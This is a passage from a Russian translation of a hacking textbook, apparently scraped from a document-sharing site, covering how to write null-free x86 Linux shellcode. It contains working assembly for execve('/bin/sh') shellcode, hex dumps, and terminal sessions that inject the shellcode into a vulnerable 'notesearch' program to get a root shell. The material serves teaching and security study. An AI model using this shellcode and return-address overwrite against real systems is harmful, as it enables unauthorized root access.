Главная страница
Навигация по странице:

  • 000000

  • Машинный код Ассемблер

  • Команда Назначение

  • lea ecx, [ebx+8] ; Загрузить адрес из [ebx+8] в ecx как указатель argv.

  • Хакинг. Хакинг__искусство_эксплоита_2_е_469663841. Книга дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах


    Скачать 2.5 Mb.
    НазваниеКнига дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах
    АнкорХакинг
    Дата16.06.2022
    Размер2.5 Mb.
    Формат файлаpdf
    Имя файлаХакинг__искусство_эксплоита_2_е_469663841.pdf
    ТипКнига
    #595131
    страница34 из 51
    1   ...   30   31   32   33   34   35   36   37   ...   51

    326
    0x500 Шелл-код (код оболочки) ло 19 дополняется незначащими нулями, что и приводит к появлению нулевых байтов.
    Обойти эту проблему можно с помощью дополнительного кода. У ма- ленького отрицательного числа будут выставлены все ведущие биты, которые дадут байты 0xff. Следовательно, если передать call отрица- тельное значение, чтобы переместить исполнение назад, нулевых бай- тов в такой команде не будет. В следующей версии шелл-кода исполь- зована стандартная реализация этого приема: переход в конец шелл- кода на команду call, которая в свою очередь возвращает управление назад на команду pop в начале шелл-кода.
    helloworld2.s
    BITS 32 ; Сообщить nasm, что это 32-разрядный код.
    jmp short one ; Перейти на call в конце.
    two:
    ; ssize_t write(int fd, const void *buf, size_t count);
    pop ecx ; Взять из стека адрес возврата (указатель на строку).
    mov eax, 4 ; Номер системного вызова write.
    mov ebx, 1 ; Дескриптор файла STDOUT mov edx, 15 ; Длина строки int 0x80 ; Выполнить системный вызов: write(1, string, 14)
    ; void _exit(int status);
    mov eax, 1 ; Номер системного вызова exit mov ebx, 0 ; Статус= 0
    int 0x80 ; Выполнить syscall: exit(0)
    one:
    call two ; Переход назад, чтобы избежать нулевых байтов
    db “Hello, world!”, 0x0a, 0x0d ; с байтами перевода строки
    ; и возврата каретки.
    После ассемблирования этого кода и дизассемблирования результата убеждаемся, что команда call (ниже выделена курсивом) избавилась от нулевых байтов. Таким образом, первая и самая трудная проблема с нулевыми байтами в этом шелл-коде решена, но осталось много дру- гих нулевых байтов (выделены полужирным).
    reader@hacking:

    /booksrc $ nasm helloworld2.s reader@hacking:/booksrc $ ndisasm -b32 helloworld2 00000000 EB1E jmp short 0x20 00000002 59 pop ecx
    00000003 B804000000 mov eax,0x4 00000008 BB01000000 mov ebx,0x1 0000000D BA0F000000 mov edx,0xf
    00000012 CD80 int 0x80 00000014 B801000000 mov eax,0x1 00000019 BB00000000 mov ebx,0x0

    0x520 Путь к шелл-коду
    327
    0000001E CD80 int 0x80
    00000020 E8DDFFFFFF call 0x2
    00000025 48 dec eax
    00000026 656C gs insb
    00000028 6C insb
    00000029 6F outsd
    0000002A 2C20 sub al,0x20 0000002C 776F ja 0x9d
    0000002E 726C jc 0x9c
    00000030 64210A and [fs:edx],ecx
    00000033 0D db 0x0D
    reader@hacking:/booksrc $
    Разобравшись в размерах регистров и адресации, оставшиеся нулевые байты можно ликвидировать. Обратите внимание: первой командой яв- ляется jmp short. Она может передать управление только на 128 байт
    (примерно) в прямом или обратном направлении. Обычная команда jmp, а также команда call (у которой нет короткой версии) могут выполнять гораздо более дальние переходы. Разница между ассемблированным машинным кодом обоих вариантов jmp показана ниже:
    EB 1E jmp short 0x20
    и
    E9 1E 00 00 00 jmp 0x23
    Размер регистров EAX, EBX, ECX, EDX, ESI, EDI, EBP и ESP – 32 бита.
    Буква E означает extended (расширенный), потому что раньше это были регистры AX, BX, CX, DX, SI, DI, BP и SP размером 16 бит. Эти преж- ние 16-разрядные версии регистров по-прежнему можно применять для доступа к первым 16 разрядам соответствующих 32-разрядных ре- гистров. Кроме того, к отдельным байтам регистров AX, BX, CX и DX можно обращаться как к 8-разрядным регистрам AL, AH, BL, BH, CL,
    CH, DL и DH, где L означает младший байт (low), а Hстарший (high).
    Понятно, что в командах ассемблера, использующих маленькие реги- стры, нужно задавать операнды, соответствующие размеру регистра.
    Ниже показаны три разновидности команды mov.
    Машинный код
    Ассемблер
    B8 04 00 00 00
    mov eax,0x4 66 B8 04 00
    mov ax,0x4
    B0 04
    mov al,0x4
    С помощью регистров AL, BL, CL и DL можно задать правильный млад- ший байт соответствующего расширенного регистра, так что в машин- ном коде не будет нулей. Однако в старших трех байтах регистра при этом может оказаться что угодно. В особенности это относится к шелл-

    328
    0x500 Шелл-код (код оболочки) коду, который перехватывает работу другого процесса. Если мы хотим, чтобы 32-разрядные регистры содержали правильные значения, нуж- но обнулить их перед тем, как выполнять команды mov, но сделать это, не используя нулевые байты. Вот несколько простых команд ассембле- ра, которые можно взять на вооружение. Первые две – это маленькие команды, которые увеличивают или уменьшают операнд на единицу.
    Команда
    Назначение
    inc <приемник>
    Увеличить операнд, прибавив к нему 1
    dec <приемник>
    Уменьшить операнд, отняв от него 1
    У нескольких следующих команд два операнда, как у mov. Все они вы- полняют простые арифметические и поразрядные логические опера- ции над двумя операндами и записывают результат в первый операнд.
    Команда
    Назначение
    add <приемник>,
    <источник>
    Сложить источник с приемником и поместить ре- зультат в приемник.
    sub <приемник>,
    <источник>
    Вычесть источник из приемника и поместить ре- зультат в приемник.
    or <приемник>,
    <источник>
    Выполнить поразрядную логическую операцию
    ИЛИ, сравнивая каждый бит источника с соот- ветствующим битом приемника.
    1 or 0 = 1 1 or 1 = 1 0 or 1 = 1 0 or 0 = 0
    Если бит источника или приемника равен 1 или они оба равны 1, то бит результата равен 1, в про- тивном случае 0. Результат записывается в при- емник.
    and <приемник>,
    <источник>
    Выполнить поразрядную логическую операцию
    И, сравнивая каждый бит источника с соответ- ствующим битом приемника.
    1 and 0 = 0 1 and 1 = 1 0 and 1 = 0 0 and 0 = 0
    Бит результата равен 1, только если оба бита – ис- точника и приемника – равны 1. Результат запи- сывается в приемник.

    0x520 Путь к шелл-коду
    329
    Команда
    Назначение
    xor <приемник>,
    <источник>
    Выполнить поразрядную логическую операцию исключающего ИЛИ, сравнивая каждый бит ис- точника с соответствующим битом приемника.
    1 xor 0 = 1 1 and 1 = 0 0 xor 1 = 1 0 xor 0 = 0
    Если биты разные, то бит результата равен 1; если биты одинаковы, то бит результата равен 0. Ре- зультат записывается в приемник.
    Одно из решений – поместить в регистр произвольное 32-разрядное число, а затем вычесть его из регистра с помощью команд mov и sub.
    B8 44 33 22 11 mov eax,0x11223344 2D 44 33 22 11 sub eax,0x11223344
    Такой способ действует, но при этом для обнуления одного регистра нужно 10 байт кода, что излишне увеличивает шелл-код. Можете ли вы усовершенствовать этот метод? Значение типа DWORD в каждой инструк- ции занимает 80 процентов кода. Вычтя значение из самого себя, так- же получим 0, и при этом не потребуется статических данных. Это по- зволяет сделать одна двухбайтная команда:
    29 C0 sub eax,eax
    С помощью такой команды вычитания можно успешно обнулить реги- стры в начале шелл-кода. Однако она изменяет флаги процессора, уча- ствующие в ветвлении.
    По этой причине предпочтительнее другая команда, с помощью кото- рой обычно обнуляют регистры в шелл-коде. Команда xor выполняет над битами регистра операцию исключающего ИЛИ. Поскольку 1 xor 1 дает 0 и 0 xor 0 дает 0, любое значение, участвующее в этой операцией само собой, дает 0. Результат тот же, что при вычитании, но xor не ме- няет флаги процессора, поэтому этот метод считается более предпочти- тельным.
    31 C0 xor eax,eax
    Можно смело обнулять регистры командой sub в начале шелл-кода, но в прочих местах предпочительнее xor. В следующей версии шелл-кода нулевые байты устранены с помощью коротких регистров и команды xor
    . Кроме того, чтобы уменьшить размер шелл-кода, использовались команды inc и dec.

    330
    0x500 Шелл-код (код оболочки)
    helloworld3.s
    BITS 32 ; Сообщить nasm, что это 32-разрядный код.
    jmp short one ; Перескочить к call в конце.
    two:
    ; ssize_t write(int fd, const void *buf, size_t count);
    pop ecx ; Взять из стека адрес возврата (указатель на строку).
    xor eax, eax ; Обнулить 32 разряда регистра eax.
    mov al, 4 ; Поместить номер системного вызова write
    ; в младший байт eax.
    xor ebx, ebx ; Обнулить ebx.
    inc ebx ; Увеличить ebx на 1, дескриптор файла STDOUT.
    xor edx, edx mov dl, 15 ; Длина строки int 0x80 ; Выполнить системный вызов: write(1, string, 14)
    ; void _exit(int status);
    mov al, 1 ; Номер системного вызова exit - 1,
    ; старшие 3 байта все еще 0.
    dec ebx ; Уменьшить ebx до 0 для статус = 0.
    int 0x80 ; выполнить системный вызов: exit(0)
    one:
    call two ; Переход назад, чтобы избежать нулевых байтов db “Hello, world!”, 0x0a, 0x0d ; с символами перевода строки
    ; и возврата каретки.
    Скомпилировав этот код, можно с помощью hexdump и grep быстро проверить отсутствие в нем нулевых байтов.
    reader@hacking:/booksrc $ nasm helloworld3.s reader@hacking:/booksrc $ hexdump -C helloworld3 | grep --color=auto 00 00000000 eb 13 59 31 c0 b0 04 31 db 43 31 d2 b2 0f cd 80 |..Y1...1.C1.....|
    00000010 b0 01 4b cd 80 e8 e8 ff ff ff 48 65 6c 6c 6f 2c |..K.......Hello,|
    00000020 20 77 6f 72 6c 64 21 0a 0d | world!..|
    00000029
    reader@hacking:/booksrc $
    Теперь этим шелл-кодом можно пользоваться, так как в нем нет нуле- вых байтов. Применив его в эксплойте, заставим программу notesearch поздороваться со всеми:
    reader@hacking:/booksrc $ export SHELLCODE=$(cat helloworld3)
    reader@hacking:/booksrc $ ./getenvaddr SHELLCODE ./notesearch
    SHELLCODE will be at 0xbffff9bc reader@hacking:/booksrc $ ./notesearch $(perl -e ‘print “\xbc\xf9\xff\
    xbf”x40’)
    [DEBUG] found a 33 byte note for user id 999
    -------[ end of note data ]-------
    Hello, world!
    reader@hacking :/booksrc $

    0x530 Шелл-код для запуска оболочки
    331
    0x530 Шелл-код для запуска оболочки
    Теперь, научившись делать системные вызовы и избавляться от нуле- вых байтов, вы можете создавать любые виды шелл-кодов. Чтобы за- пустить оболочку, нужно лишь выполнить системный вызов для запу- ска программы /bin/sh. Системный вызов с номером 11, execve(), ана- логичен функции C execute(), которой мы пользовались в предыдущих главах.
    EXECVE(2) Руководство программиста Linux EXECVE(2)
    ИМЯ
    execve - выполнить программу
    СИНТАКСИС
    #include int execve(const char *filename, char *const argv [],
    char *const envp[]);
    ОПИСАНИЕ
    execve() выполняет программу, заданную параметром filename. Программа должна быть или двоичным исполняемым файлом, или скриптом, начинающимся со строки вида “#! интерпретатор [аргументы]”. В последнем случае интерпретатор -- это правильный путь к исполняемому файлу, который не является скриптом; этот файл будет выполнен как интерпретатор [arg] filename. argv - это массив строк, аргументов новой программы. envp - это массив строк в формате key=value, которые передаются новой программе в качестве окружения (environment). Как argv, так и envp завершаются нулевым указателем. К массиву аргументов и к окружению можно обратиться из функции main(), которая объявлена как int main(int argc, char
    *argv[], char *envp[]).
    Первый аргумент (имя файла) должен быть указателем на строку
    “/bin/sh”
    , потому что это именно та программа, которую мы хотим за- пустить. Массив переменных окружения (третий аргумент) может быть пуст, но его все равно нужно завершить 32-разрядным нулевым указателем. Массив аргументов (второй аргумент) тоже должен содер- жать нулевой указатель на строку (потому что нулевой аргумент пред- ставляет собой имя выполняющейся программы). На языке C програм- ма, осуществляющая этот вызов, может выглядеть, как показано в ли- стинге exec_shell.c.
    exec_shell.c
    #include
    int main() {
    char filename[] = “/bin/sh\x00”;
    char **argv, **envp; // Массивы, содержащие указатели char

    332
    0x500 Шелл-код (код оболочки) argv[0] = filename; // Единственный аргумент – имя файла.
    argv[1] = 0; // Список аргументов завершается нулевым байтом.
    envp[0] = 0; // Список переменных окружения завершается нулевым байтом.
    execve(filename, argv, envp);
    }
    На ассемблере массивы аргументов и переменных окружения нужно построить в памяти. Кроме того, строка “/bin/sh” должна оканчивать- ся нулевым байтом. Ее тоже нужно построить в памяти. Работа с памя- тью на ассемблере аналогична работе с указателями в C. Команда за-
    грузки эффективного адреса lea (от load effective address) действует по- добно оператору address-of языка C.
    Команда
    Назначение
    lea <приемник>, <источник>
    Загрузить в приемник эффективный адрес источника
    В синтаксисе ассемблера разыменование операндов как указателей осуществляется с помощью квадратных скобок. Например, следую- щая инструкция ассемблера рассматривает EBX+12 как указатель и за- писывает содержащийся в нем адрес в eax.
    89 43 0C mov [ebx+12],eax
    В следующем шелл-коде эти новые инструкции используются для по- строения аргументов execve() в памяти. Массив переменных окруже- ния свертывается в конец массива аргументов, поэтому у них общий
    32-разрядный нулевой указатель конца.
    exec_shell.s
    BITS 32
    jmp short two ; Переход на call в конце.
    one:
    ; int execve(const char *filename, char *const argv [], char *const envp[])
    pop ebx ; Записать в ebx адрес строки.
    xor eax, eax ; Записать в eax 0.
    mov [ebx+7], al ; Нулевое окончание строки /bin/sh.
    mov [ebx+8], ebx ; Записать адрес из ebx на место AAAA.
    mov [ebx+12], eax ; Записать 32-разрядный нулевой указатель на место BBBB.
    lea ecx, [ebx+8] ; Загрузить адрес из [ebx+8] в ecx как указатель argv.
    lea edx, [ebx+12] ; edx = ebx + 12, это указатель на envp.
    mov al, 11 ; Системный вызов 11.
    int 0x80 ; Выполнить.
    two:
    call one ; Получить адрес строки с помощью call.
    db ‘/bin/shXAAAABBBB’ ; Байты XAAAABBBB не нужны.

    0x530 Шелл-код для запуска оболочки
    333
    Завершив строку и построив массивы, шелл-код с помощью команды lea
    (выделена полужирным) помещает указатель на массив аргумен- тов в регистр ECX. Заключить регистр и прибавляемое к нему число в квадратные скобки и загрузить эффективный адрес результата в ре- гистр – хороший способ прибавить число к регистру и записать резуль- тат в другой регистр. В этом примере скобки разыменовывают EBX+8 и передают как аргумент lea, которая загружает адрес в EDX. Загруз- ка адреса разыменованного указателя порождает исходный указатель, поэтому данная команда помещает EBX+8 в EDX. Обычным путем пришлось бы воспользоваться командами mov и add. После ассемблиро- вания шелл-код не будет содержать нулей. Примененный в эксплойте, он запустит оболочку.
    reader@hacking:/booksrc $ nasm exec_shell.s reader@hacking:/booksrc $ wc -c exec_shell
    36 exec_shell reader@hacking:/booksrc $ hexdump -C exec_shell
    00000000 eb 16 5b 31 c0 88 43 07 89 5b 08 89 43 0c 8d 4b |..[1..C..[..C..K|
    00000010 08 8d 53 0c b0 0b cd 80 e8 e5 ff ff ff 2f 62 69 |..S........../bi|
    00000020 6e 2f 73 68 |n/sh|
    00000024
    reader@hacking:/booksrc $ export SHELLCODE=$(cat exec_shell)
    reader@hacking:/booksrc $ ./getenvaddr SHELLCODE ./notesearch
    SHELLCODE will be at 0xbffff9c0
    reader@hacking:/booksrc $ ./notesearch $(perl -e ‘print “\xc0\xf9\xff\
    xbf”x40’)
    [DEBUG] found a 34 byte note for user id 999
    [DEBUG] found a 41 byte note for user id 999
    [DEBUG] found a 5 byte note for user id 999
    [DEBUG] found a 35 byte note for user id 999
    [DEBUG] found a 9 byte note for user id 999
    [DEBUG] found a 33 byte note for user id 999
    -------[ end of note data ]------- sh-3.2# whoami root sh-3.2#
    Однако этот шелл-код можно еще сократить по сравнению с нынешни- ми 45 байтами. Шелл-код нужно внедрить в какое-то место програм- мы, а в определенных более тяжелых условиях эксплойта, где доступ- ными окажутся только буферы меньшего размера, может потребовать- ся более короткий шелл-код. Чем короче шелл-код, тем больше ситу- аций, в которых его можно применить. Очевидно, зрительно удобный конец XAAAABBBB можно удалить, что сократит шелл-код до 36 байт.
    reader@hacking:/booksrc/shellcodes $ hexdump -C exec_shell
    00000000 eb 16 5b 31 c0 88 43 07 89 5b 08 89 43 0c 8d 4b |..[1..C..[..C..K|
    00000010 08 8d 53 0c b0 0b cd 80 e8 e5 ff ff ff 2f 62 69 |..S........../bi|
    00000020 6e 2f 73 68 |n/sh|
    00000024
    reader@hacking:/booksrc/shellcodes $ wc -c exec_shell

    334
    0x500 Шелл-код (код оболочки)
    36 exec_shell reader@hacking:/booksrc/shellcodes $
    Этот шелл-код можно сжать еще сильнее, если эффективнее использо- вать регистры. Регистр ESP – это указатель стека, то есть его верши- ны. Когда в стек нужно протолкнуть какое-то значение, ESP смещает- ся вверх по памяти (путем вычитания 4) и значение помещается на вер- шину стека. Когда значение выталкивается из стека, указатель в ESP смещается вниз по памяти (прибавлением 4).
    В следующем шелл-коде для формирования в памяти структур, требу- ющихся системному вызову execve(), применяется команда push.
    tiny_shell.s
    BITS 32
    ; execve(const char *filename, char *const argv [], char *const envp[])
    xor eax, eax ; Обнулить eax.
    push eax ; Протолкнуть несколько нулей конца строки.
    push 0x68732f2f ; Протолкнуть в стек “//sh”.
    push 0x6e69622f ; Протолкнуть в стек “/bin”.
    mov ebx, esp ; Поместить адрес “/bin//sh” в ebx.
    push eax ; Протолкнуть в стек 32-разрядный нулевой указатель.
    mov edx, esp ; Это пустой массив для envp.
    push ebx ; Протолкнуть в стек адрес строки.
    mov ecx, esp ; Это массив argv с указателем строки.
    mov al, 11 ; Системный вызов 11.
    int 0x80 ; Выполнить.
    Этот шелл-код строит в стеке заканчивающуюся нулем строку “/bin//
    sh”
    , а затем копирует ESP для указателя. Лишняя косая черта не ме- няет дела и игнорируется. Таким же образом строятся массивы осталь- ных аргументов. Полученный шелл-код также вызывает оболочку, но занимает всего 25 байт в сравнении с 36 байтами при методе вызова с помощью jmp.
    reader@hacking:/booksrc $ nasm tiny_shell.s reader@hacking:/booksrc $ wc -c tiny_shell
    25 tiny_shell reader@hacking:/booksrc $ hexdump -C tiny_shell
    00000000 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 |1.Ph//shh/bin..P|
    00000010 89 e2 53 89 e1 b0 0b cd 80 |..S......|
    00000019
    reader@hacking:/booksrc $ export SHELLCODE=$(cat tiny_shell)
    reader@hacking:/booksrc $ ./getenvaddr SHELLCODE ./notesearch
    SHELLCODE will be at 0xbffff9cb reader@hacking:/booksrc $ ./notesearch $(perl -e ‘print “\xcb\xf9\xff\
    xbf”x40’)
    [DEBUG] found a 34 byte note for user id 999
    [DEBUG] found a 41 byte note for user id 999
    [DEBUG] found a 5 byte note for user id 999

    0x530 Шелл-код для запуска оболочки
    1   ...   30   31   32   33   34   35   36   37   ...   51


    написать администратору сайта